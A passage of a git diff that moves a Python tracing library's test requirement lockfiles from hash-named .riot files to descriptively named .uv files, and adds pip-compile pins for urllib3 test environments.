b/.uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-latest-greenlet-3-1-0.txt similarity index 100% rename from .riot/requirements/f15bee1.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-latest-greenlet-3-1-0.txt diff --git a/.riot/requirements/1f8c44d.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/1f8c44d.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py312-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/dbcf3c6.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py313-sqlalchemy-latest-greenlet-3-1-0.txt similarity index 100% rename from .riot/requirements/dbcf3c6.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py313-sqlalchemy-latest-greenlet-3-1-0.txt diff --git a/.riot/requirements/853b5f0.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py314-sqlalchemy-latest-greenlet-3-2-4.txt similarity index 100% rename from .riot/requirements/853b5f0.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py314-sqlalchemy-latest-greenlet-3-2-4.txt diff --git a/.riot/requirements/134deb1.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py39-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/134deb1.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py39-sqlalchemy-1-3-0-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/52e614f.txt b/.uv/contrib-sqlalchemy--sqlalchemy-py39-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt similarity index 100% rename from .riot/requirements/52e614f.txt rename to .uv/contrib-sqlalchemy--sqlalchemy-py39-sqlalchemy-latest-sqlalchemy-greenlet-3-0-3.txt diff --git a/.riot/requirements/b5233ea.txt b/.uv/contrib-starlette--starlette-py310-starlette-0-15-0-starlette-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/b5233ea.txt rename to .uv/contrib-starlette--starlette-py310-starlette-0-15-0-starlette-httpx-0-27-0.txt diff --git a/.riot/requirements/3b1a760.txt b/.uv/contrib-starlette--starlette-py310-starlette-0-20-0-starlette-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/3b1a760.txt rename to .uv/contrib-starlette--starlette-py310-starlette-0-20-0-starlette-httpx-0-27-0.txt diff --git a/.riot/requirements/b0b51fa.txt b/.uv/contrib-starlette--starlette-py310-starlette-0-33-0-starlette-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/b0b51fa.txt rename to .uv/contrib-starlette--starlette-py310-starlette-0-33-0-starlette-httpx-0-27-0.txt diff --git a/.riot/requirements/c6df201.txt b/.uv/contrib-starlette--starlette-py310-starlette-latest-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/c6df201.txt rename to .uv/contrib-starlette--starlette-py310-starlette-latest-httpx-0-22-0.txt diff --git a/.riot/requirements/1fe7613.txt b/.uv/contrib-starlette--starlette-py310-starlette-latest-starlette-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/1fe7613.txt rename to .uv/contrib-starlette--starlette-py310-starlette-latest-starlette-httpx-0-27-0.txt diff --git a/.riot/requirements/1cb27f2.txt b/.uv/contrib-starlette--starlette-py311-starlette-0-21-0-starlette-httpx-0-22-0-2.txt similarity index 100% rename from .riot/requirements/1cb27f2.txt rename to .uv/contrib-starlette--starlette-py311-starlette-0-21-0-starlette-httpx-0-22-0-2.txt diff --git a/.riot/requirements/187aa61.txt b/.uv/contrib-starlette--starlette-py311-starlette-0-33-0-starlette-httpx-0-22-0-2.txt similarity index 100% rename from .riot/requirements/187aa61.txt rename to .uv/contrib-starlette--starlette-py311-starlette-0-33-0-starlette-httpx-0-22-0-2.txt diff --git a/.riot/requirements/1c65635.txt b/.uv/contrib-starlette--starlette-py311-starlette-latest-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/1c65635.txt rename to .uv/contrib-starlette--starlette-py311-starlette-latest-httpx-0-22-0.txt diff --git a/.riot/requirements/16f8e4b.txt b/.uv/contrib-starlette--starlette-py312-starlette-latest-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/16f8e4b.txt rename to .uv/contrib-starlette--starlette-py312-starlette-latest-httpx-0-27-0.txt diff --git a/.riot/requirements/14b461b.txt b/.uv/contrib-starlette--starlette-py313-starlette-latest-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/14b461b.txt rename to .uv/contrib-starlette--starlette-py313-starlette-latest-httpx-0-27-0.txt diff --git a/.riot/requirements/16f2923.txt b/.uv/contrib-starlette--starlette-py314-starlette-latest-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/16f2923.txt rename to .uv/contrib-starlette--starlette-py314-starlette-latest-httpx-0-27-0.txt diff --git a/.riot/requirements/165faec.txt b/.uv/contrib-starlette--starlette-py39-starlette-0-14-0-starlette-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/165faec.txt rename to .uv/contrib-starlette--starlette-py39-starlette-0-14-0-starlette-httpx-0-22-0.txt diff --git a/.riot/requirements/149bd30.txt b/.uv/contrib-starlette--starlette-py39-starlette-0-20-0-starlette-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/149bd30.txt rename to .uv/contrib-starlette--starlette-py39-starlette-0-20-0-starlette-httpx-0-22-0.txt diff --git a/.riot/requirements/4087ac1.txt b/.uv/contrib-starlette--starlette-py39-starlette-0-33-0-starlette-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/4087ac1.txt rename to .uv/contrib-starlette--starlette-py39-starlette-0-33-0-starlette-httpx-0-22-0.txt diff --git a/.riot/requirements/1d92ad2.txt b/.uv/contrib-starlette--starlette-py39-starlette-latest-httpx-0-22-0.txt similarity index 100% rename from .riot/requirements/1d92ad2.txt rename to .uv/contrib-starlette--starlette-py39-starlette-latest-httpx-0-22-0.txt diff --git a/.riot/requirements/be3147f.txt b/.uv/contrib-stdlib--asyncio-py310-pytest-asyncio-0-21-1-2.txt similarity index 100% rename from .riot/requirements/be3147f.txt rename to .uv/contrib-stdlib--asyncio-py310-pytest-asyncio-0-21-1-2.txt diff --git a/.riot/requirements/7f56123.txt b/.uv/contrib-stdlib--asyncio-py311-pytest-asyncio-0-21-1-2.txt similarity index 100% rename from .riot/requirements/7f56123.txt rename to .uv/contrib-stdlib--asyncio-py311-pytest-asyncio-0-21-1-2.txt diff --git a/.riot/requirements/e2ae847.txt b/.uv/contrib-stdlib--asyncio-py312-pytest-asyncio-0-21-1-2.txt similarity index 100% rename from .riot/requirements/e2ae847.txt rename to .uv/contrib-stdlib--asyncio-py312-pytest-asyncio-0-21-1-2.txt diff --git a/.riot/requirements/db343a1.txt b/.uv/contrib-stdlib--asyncio-py313-pytest-asyncio-gte-1-0-0.txt similarity index 100% rename from .riot/requirements/db343a1.txt rename to .uv/contrib-stdlib--asyncio-py313-pytest-asyncio-gte-1-0-0.txt diff --git a/.riot/requirements/68dc670.txt b/.uv/contrib-stdlib--asyncio-py314-pytest-asyncio-gte-1-0-0.txt similarity index 100% rename from .riot/requirements/68dc670.txt rename to .uv/contrib-stdlib--asyncio-py314-pytest-asyncio-gte-1-0-0.txt diff --git a/.riot/requirements/7fa00cf.txt b/.uv/contrib-stdlib--asyncio-py39-pytest-asyncio-0-21-1-2.txt similarity index 100% rename from .riot/requirements/7fa00cf.txt rename to .uv/contrib-stdlib--asyncio-py39-pytest-asyncio-0-21-1-2.txt diff --git a/.riot/requirements/1d5012c.txt b/.uv/contrib-stdlib--dbapi-async-py310-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/1d5012c.txt rename to .uv/contrib-stdlib--dbapi-async-py310-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/122d3c5.txt b/.uv/contrib-stdlib--dbapi-async-py311-pytest-asyncio-0-21-1-attrs-latest.txt similarity index 100% rename from .riot/requirements/122d3c5.txt rename to .uv/contrib-stdlib--dbapi-async-py311-pytest-asyncio-0-21-1-attrs-latest.txt diff --git a/.riot/requirements/13991ca.txt b/.uv/contrib-stdlib--dbapi-async-py312-pytest-asyncio-0-21-1-attrs-latest.txt similarity index 100% rename from .riot/requirements/13991ca.txt rename to .uv/contrib-stdlib--dbapi-async-py312-pytest-asyncio-0-21-1-attrs-latest.txt diff --git a/.riot/requirements/1acabe0.txt b/.uv/contrib-stdlib--dbapi-async-py313-pytest-asyncio-0-21-1-attrs-latest.txt similarity index 100% rename from .riot/requirements/1acabe0.txt rename to .uv/contrib-stdlib--dbapi-async-py313-pytest-asyncio-0-21-1-attrs-latest.txt diff --git a/.riot/requirements/d982137.txt b/.uv/contrib-stdlib--dbapi-async-py314-pytest-asyncio-0-21-1-attrs-latest.txt similarity index 100% rename from .riot/requirements/d982137.txt rename to .uv/contrib-stdlib--dbapi-async-py314-pytest-asyncio-0-21-1-attrs-latest.txt diff --git a/.riot/requirements/4c6b7c3.txt b/.uv/contrib-stdlib--dbapi-async-py39-pytest-asyncio-0-21-1.txt similarity index 100% rename from .riot/requirements/4c6b7c3.txt rename to .uv/contrib-stdlib--dbapi-async-py39-pytest-asyncio-0-21-1.txt diff --git a/.riot/requirements/1586b69.txt b/.uv/contrib-stdlib--dbapi-py310-dbapi.txt similarity index 100% rename from .riot/requirements/1586b69.txt rename to .uv/contrib-stdlib--dbapi-py310-dbapi.txt diff --git a/.riot/requirements/1b18942.txt b/.uv/contrib-stdlib--dbapi-py311-dbapi.txt similarity index 100% rename from .riot/requirements/1b18942.txt rename to .uv/contrib-stdlib--dbapi-py311-dbapi.txt diff --git a/.riot/requirements/1d50090.txt b/.uv/contrib-stdlib--dbapi-py312-dbapi.txt similarity index 100% rename from .riot/requirements/1d50090.txt rename to .uv/contrib-stdlib--dbapi-py312-dbapi.txt diff --git a/.riot/requirements/11fd02a.txt b/.uv/contrib-stdlib--dbapi-py313-dbapi.txt similarity index 100% rename from .riot/requirements/11fd02a.txt rename to .uv/contrib-stdlib--dbapi-py313-dbapi.txt diff --git a/.riot/requirements/5646fdd.txt b/.uv/contrib-stdlib--dbapi-py314-dbapi.txt similarity index 100% rename from .riot/requirements/5646fdd.txt rename to .uv/contrib-stdlib--dbapi-py314-dbapi.txt diff --git a/.riot/requirements/35e5cdb.txt b/.uv/contrib-stdlib--dbapi-py39-dbapi.txt similarity index 100% rename from .riot/requirements/35e5cdb.txt rename to .uv/contrib-stdlib--dbapi-py39-dbapi.txt diff --git a/.riot/requirements/b92b3b0.txt b/.uv/contrib-stdlib--futures-py310-gevent-latest.txt similarity index 100% rename from .riot/requirements/b92b3b0.txt rename to .uv/contrib-stdlib--futures-py310-gevent-latest.txt diff --git a/.riot/requirements/d44f455.txt b/.uv/contrib-stdlib--futures-py311-gevent-latest.txt similarity index 100% rename from .riot/requirements/d44f455.txt rename to .uv/contrib-stdlib--futures-py311-gevent-latest.txt diff --git a/.riot/requirements/1fe881e.txt b/.uv/contrib-stdlib--futures-py312-gevent-latest.txt similarity index 100% rename from .riot/requirements/1fe881e.txt rename to .uv/contrib-stdlib--futures-py312-gevent-latest.txt diff --git a/.riot/requirements/1053dce.txt b/.uv/contrib-stdlib--futures-py313-gevent-latest.txt similarity index 100% rename from .riot/requirements/1053dce.txt rename to .uv/contrib-stdlib--futures-py313-gevent-latest.txt diff --git a/.riot/requirements/1c31e90.txt b/.uv/contrib-stdlib--futures-py314-gevent-latest.txt similarity index 100% rename from .riot/requirements/1c31e90.txt rename to .uv/contrib-stdlib--futures-py314-gevent-latest.txt diff --git a/.riot/requirements/148bd89.txt b/.uv/contrib-stdlib--futures-py39-gevent-latest.txt similarity index 100% rename from .riot/requirements/148bd89.txt rename to .uv/contrib-stdlib--futures-py39-gevent-latest.txt diff --git a/.riot/requirements/1fc50b1.txt b/.uv/contrib-stdlib--sqlite3-py310-pysqlite3-binary-latest.txt similarity index 100% rename from .riot/requirements/1fc50b1.txt rename to .uv/contrib-stdlib--sqlite3-py310-pysqlite3-binary-latest.txt diff --git a/.riot/requirements/1e311f5.txt b/.uv/contrib-stdlib--sqlite3-py311-pysqlite3-binary-latest.txt similarity index 100% rename from .riot/requirements/1e311f5.txt rename to .uv/contrib-stdlib--sqlite3-py311-pysqlite3-binary-latest.txt diff --git a/.riot/requirements/1c64cfc.txt b/.uv/contrib-stdlib--sqlite3-py312-pysqlite3-binary-latest.txt similarity index 100% rename from .riot/requirements/1c64cfc.txt rename to .uv/contrib-stdlib--sqlite3-py312-pysqlite3-binary-latest.txt diff --git a/.riot/requirements/1544815.txt b/.uv/contrib-stdlib--sqlite3-py39-pysqlite3-binary-latest.txt similarity index 100% rename from .riot/requirements/1544815.txt rename to .uv/contrib-stdlib--sqlite3-py39-pysqlite3-binary-latest.txt diff --git a/.riot/requirements/461797f.txt b/.uv/contrib-structlog--structlog-py310-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/461797f.txt rename to .uv/contrib-structlog--structlog-py310-structlog-20-2-0.txt diff --git a/.riot/requirements/94509b6.txt b/.uv/contrib-structlog--structlog-py310-structlog-latest.txt similarity index 100% rename from .riot/requirements/94509b6.txt rename to .uv/contrib-structlog--structlog-py310-structlog-latest.txt diff --git a/.riot/requirements/daada28.txt b/.uv/contrib-structlog--structlog-py311-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/daada28.txt rename to .uv/contrib-structlog--structlog-py311-structlog-20-2-0.txt diff --git a/.riot/requirements/14c9053.txt b/.uv/contrib-structlog--structlog-py311-structlog-latest.txt similarity index 100% rename from .riot/requirements/14c9053.txt rename to .uv/contrib-structlog--structlog-py311-structlog-latest.txt diff --git a/.riot/requirements/17cb22b.txt b/.uv/contrib-structlog--structlog-py312-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/17cb22b.txt rename to .uv/contrib-structlog--structlog-py312-structlog-20-2-0.txt diff --git a/.riot/requirements/257c9c5.txt b/.uv/contrib-structlog--structlog-py312-structlog-latest.txt similarity index 100% rename from .riot/requirements/257c9c5.txt rename to .uv/contrib-structlog--structlog-py312-structlog-latest.txt diff --git a/.riot/requirements/102dfdd.txt b/.uv/contrib-structlog--structlog-py313-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/102dfdd.txt rename to .uv/contrib-structlog--structlog-py313-structlog-20-2-0.txt diff --git a/.riot/requirements/dedea98.txt b/.uv/contrib-structlog--structlog-py313-structlog-latest.txt similarity index 100% rename from .riot/requirements/dedea98.txt rename to .uv/contrib-structlog--structlog-py313-structlog-latest.txt diff --git a/.riot/requirements/6850ed5.txt b/.uv/contrib-structlog--structlog-py314-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/6850ed5.txt rename to .uv/contrib-structlog--structlog-py314-structlog-20-2-0.txt diff --git a/.riot/requirements/10a0ca1.txt b/.uv/contrib-structlog--structlog-py314-structlog-latest.txt similarity index 100% rename from .riot/requirements/10a0ca1.txt rename to .uv/contrib-structlog--structlog-py314-structlog-latest.txt diff --git a/.riot/requirements/3a31be0.txt b/.uv/contrib-structlog--structlog-py39-structlog-20-2-0.txt similarity index 100% rename from .riot/requirements/3a31be0.txt rename to .uv/contrib-structlog--structlog-py39-structlog-20-2-0.txt diff --git a/.riot/requirements/10da678.txt b/.uv/contrib-structlog--structlog-py39-structlog-latest.txt similarity index 100% rename from .riot/requirements/10da678.txt rename to .uv/contrib-structlog--structlog-py39-structlog-latest.txt diff --git a/.riot/requirements/15fbf61.txt b/.uv/contrib-subprocess--subprocess-py310.txt similarity index 100% rename from .riot/requirements/15fbf61.txt rename to .uv/contrib-subprocess--subprocess-py310.txt diff --git a/.riot/requirements/7ed64b0.txt b/.uv/contrib-subprocess--subprocess-py311.txt similarity index 100% rename from .riot/requirements/7ed64b0.txt rename to .uv/contrib-subprocess--subprocess-py311.txt diff --git a/.riot/requirements/1059060.txt b/.uv/contrib-subprocess--subprocess-py312.txt similarity index 100% rename from .riot/requirements/1059060.txt rename to .uv/contrib-subprocess--subprocess-py312.txt diff --git a/.riot/requirements/6cf373b.txt b/.uv/contrib-subprocess--subprocess-py313.txt similarity index 100% rename from .riot/requirements/6cf373b.txt rename to .uv/contrib-subprocess--subprocess-py313.txt diff --git a/.riot/requirements/1dc5517.txt b/.uv/contrib-subprocess--subprocess-py314.txt similarity index 100% rename from .riot/requirements/1dc5517.txt rename to .uv/contrib-subprocess--subprocess-py314.txt diff --git a/.riot/requirements/194d749.txt b/.uv/contrib-subprocess--subprocess-py39.txt similarity index 100% rename from .riot/requirements/194d749.txt rename to .uv/contrib-subprocess--subprocess-py39.txt diff --git a/.riot/requirements/168cc07.txt b/.uv/contrib-tornado--tornado-py310-tornado-6-2-tornado.txt similarity index 100% rename from .riot/requirements/168cc07.txt rename to .uv/contrib-tornado--tornado-py310-tornado-6-2-tornado.txt diff --git a/.riot/requirements/14d6531.txt b/.uv/contrib-tornado--tornado-py310-tornado-6-3-1-tornado.txt similarity index 100% rename from .riot/requirements/14d6531.txt rename to .uv/contrib-tornado--tornado-py310-tornado-6-3-1-tornado.txt diff --git a/.riot/requirements/116f7b1.txt b/.uv/contrib-tornado--tornado-py311-tornado-6-2-tornado.txt similarity index 100% rename from .riot/requirements/116f7b1.txt rename to .uv/contrib-tornado--tornado-py311-tornado-6-2-tornado.txt diff --git a/.riot/requirements/452c0ec.txt b/.uv/contrib-tornado--tornado-py311-tornado-6-3-1-tornado.txt similarity index 100% rename from .riot/requirements/452c0ec.txt rename to .uv/contrib-tornado--tornado-py311-tornado-6-3-1-tornado.txt diff --git a/.riot/requirements/8e47e0a.txt b/.uv/contrib-tornado--tornado-py312-tornado-6-2-tornado.txt similarity index 100% rename from .riot/requirements/8e47e0a.txt rename to .uv/contrib-tornado--tornado-py312-tornado-6-2-tornado.txt diff --git a/.riot/requirements/3dfb58a.txt b/.uv/contrib-tornado--tornado-py312-tornado-6-3-1-tornado.txt similarity index 100% rename from .riot/requirements/3dfb58a.txt rename to .uv/contrib-tornado--tornado-py312-tornado-6-3-1-tornado.txt diff --git a/.riot/requirements/5ccc957.txt b/.uv/contrib-tornado--tornado-py313-tornado-6-4-1.txt similarity index 100% rename from .riot/requirements/5ccc957.txt rename to .uv/contrib-tornado--tornado-py313-tornado-6-4-1.txt diff --git a/.riot/requirements/82b119b.txt b/.uv/contrib-tornado--tornado-py314-tornado-6-4-1.txt similarity index 100% rename from .riot/requirements/82b119b.txt rename to .uv/contrib-tornado--tornado-py314-tornado-6-4-1.txt diff --git a/.riot/requirements/1da9e5b.txt b/.uv/contrib-tornado--tornado-py39-tornado-6-1-pytest-lte-8-tornado.txt similarity index 100% rename from .riot/requirements/1da9e5b.txt rename to .uv/contrib-tornado--tornado-py39-tornado-6-1-pytest-lte-8-tornado.txt diff --git a/.riot/requirements/881e49e.txt b/.uv/contrib-tornado--tornado-py39-tornado-6-2-pytest-lte-8-tornado.txt similarity index 100% rename from .riot/requirements/881e49e.txt rename to .uv/contrib-tornado--tornado-py39-tornado-6-2-pytest-lte-8-tornado.txt diff --git a/.uv/contrib-urllib3--urllib3-py310-urllib3-1-26-6-urllib3-2.txt b/.uv/contrib-urllib3--urllib3-py310-urllib3-1-26-6-urllib3-2.txt new file mode 100644 index 00000000000..4d0536c67e8 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py310-urllib3-1-26-6-urllib3-2.txt @@ -0,0 +1,26 @@ +# +# This file is autogenerated by pip-compile with Python 3.10 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/f95117e.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +exceptiongroup==1.3.1 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +tomli==2.4.1 +typing-extensions==4.15.0 +urllib3==1.26.6 diff --git a/.uv/contrib-urllib3--urllib3-py310-urllib3-latest-urllib3-2.txt b/.uv/contrib-urllib3--urllib3-py310-urllib3-latest-urllib3-2.txt new file mode 100644 index 00000000000..c0bc989b70c --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py310-urllib3-latest-urllib3-2.txt @@ -0,0 +1,26 @@ +# +# This file is autogenerated by pip-compile with Python 3.10 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/11bd6c7.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +exceptiongroup==1.3.1 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +tomli==2.4.1 +typing-extensions==4.15.0 +urllib3==2.6.3 diff --git a/.uv/contrib-urllib3--urllib3-py311-urllib3-1-26-8-urllib3-3.txt b/.uv/contrib-urllib3--urllib3-py311-urllib3-1-26-8-urllib3-3.txt new file mode 100644 index 00000000000..6effa4fe98d --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py311-urllib3-1-26-8-urllib3-3.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.11 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/1cc0636.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==1.26.8 diff --git a/.uv/contrib-urllib3--urllib3-py311-urllib3-latest-urllib3-3.txt b/.uv/contrib-urllib3--urllib3-py311-urllib3-latest-urllib3-3.txt new file mode 100644 index 00000000000..cf0d3aac4e3 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py311-urllib3-latest-urllib3-3.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.11 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/8f2dccf.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.6.3 diff --git a/.uv/contrib-urllib3--urllib3-py312-urllib3-2-0-0-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py312-urllib3-2-0-0-urllib3-4.txt new file mode 100644 index 00000000000..81407c192ae --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py312-urllib3-2-0-0-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.12 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/580224f.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.0.0 diff --git a/.uv/contrib-urllib3--urllib3-py312-urllib3-latest-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py312-urllib3-latest-urllib3-4.txt new file mode 100644 index 00000000000..806c87b6932 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py312-urllib3-latest-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.12 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/120e7ea.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.6.3 diff --git a/.uv/contrib-urllib3--urllib3-py313-urllib3-2-0-0-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py313-urllib3-2-0-0-urllib3-4.txt new file mode 100644 index 00000000000..1a7f7e4a522 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py313-urllib3-2-0-0-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.13 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/1fa51f6.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.0.0 diff --git a/.uv/contrib-urllib3--urllib3-py313-urllib3-latest-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py313-urllib3-latest-urllib3-4.txt new file mode 100644 index 00000000000..854f47a9ce2 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py313-urllib3-latest-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.13 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/19153ba.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.6.3 diff --git a/.uv/contrib-urllib3--urllib3-py314-urllib3-2-0-0-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py314-urllib3-2-0-0-urllib3-4.txt new file mode 100644 index 00000000000..7fcc5688c1a --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py314-urllib3-2-0-0-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.14 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/4efad1c.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.0.0 diff --git a/.uv/contrib-urllib3--urllib3-py314-urllib3-latest-urllib3-4.txt b/.uv/contrib-urllib3--urllib3-py314-urllib3-latest-urllib3-4.txt new file mode 100644 index 00000000000..168159fab93 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py314-urllib3-latest-urllib3-4.txt @@ -0,0 +1,23 @@ +# +# This file is autogenerated by pip-compile with Python 3.14 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/1d07e1a.in +# +attrs==26.1.0 +coverage[toml]==7.13.5 +execnet==2.1.2 +hypothesis==6.45.0 +iniconfig==2.3.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==9.0.3 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.1.0 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +urllib3==2.6.3 diff --git a/.uv/contrib-urllib3--urllib3-py39-urllib3-1-25-8-urllib3.txt b/.uv/contrib-urllib3--urllib3-py39-urllib3-1-25-8-urllib3.txt new file mode 100644 index 00000000000..4a51df4e816 --- /dev/null +++ b/.uv/contrib-urllib3--urllib3-py39-urllib3-1-25-8-urllib3.txt @@ -0,0 +1,28 @@ +# +# This file is autogenerated by pip-compile with Python 3.9 +# by the following command: +# +# pip-compile --allow-unsafe --no-annotate .riot/requirements/1fb0d21.in +# +attrs==26.1.0 +coverage[toml]==7.10.7 +exceptiongroup==1.3.1 +execnet==2.1.2 +hypothesis==6.45.0 +importlib-metadata==8.7.1 +iniconfig==2.1.0 +mock==5.2.0 +opentracing==2.4.0 +packaging==26.2 +pluggy==1.6.0 +pygments==2.20.0 +pytest==8.4.2 +pytest-cov==7.1.0 +pytest-mock==3.15.1 +pytest-randomly==4.0.1 +pytest-xdist==3.8.0 +sortedcontainers==2.4.0 +tomli==2.4.1 +typing-extensions==4.15.0 +urllib3==1.25.8 +zipp==3.23.1 diff --git a/.uv/contrib-urllib3--urllib3-py39-urllib3-latest-urllib3.txt b/.uv/contrib-urllib3--urllib3-py39-urllib3-latest-urllib3.txt new file mode 100644 index 00000000000..015e3e775e0 --- /dev/null +++ 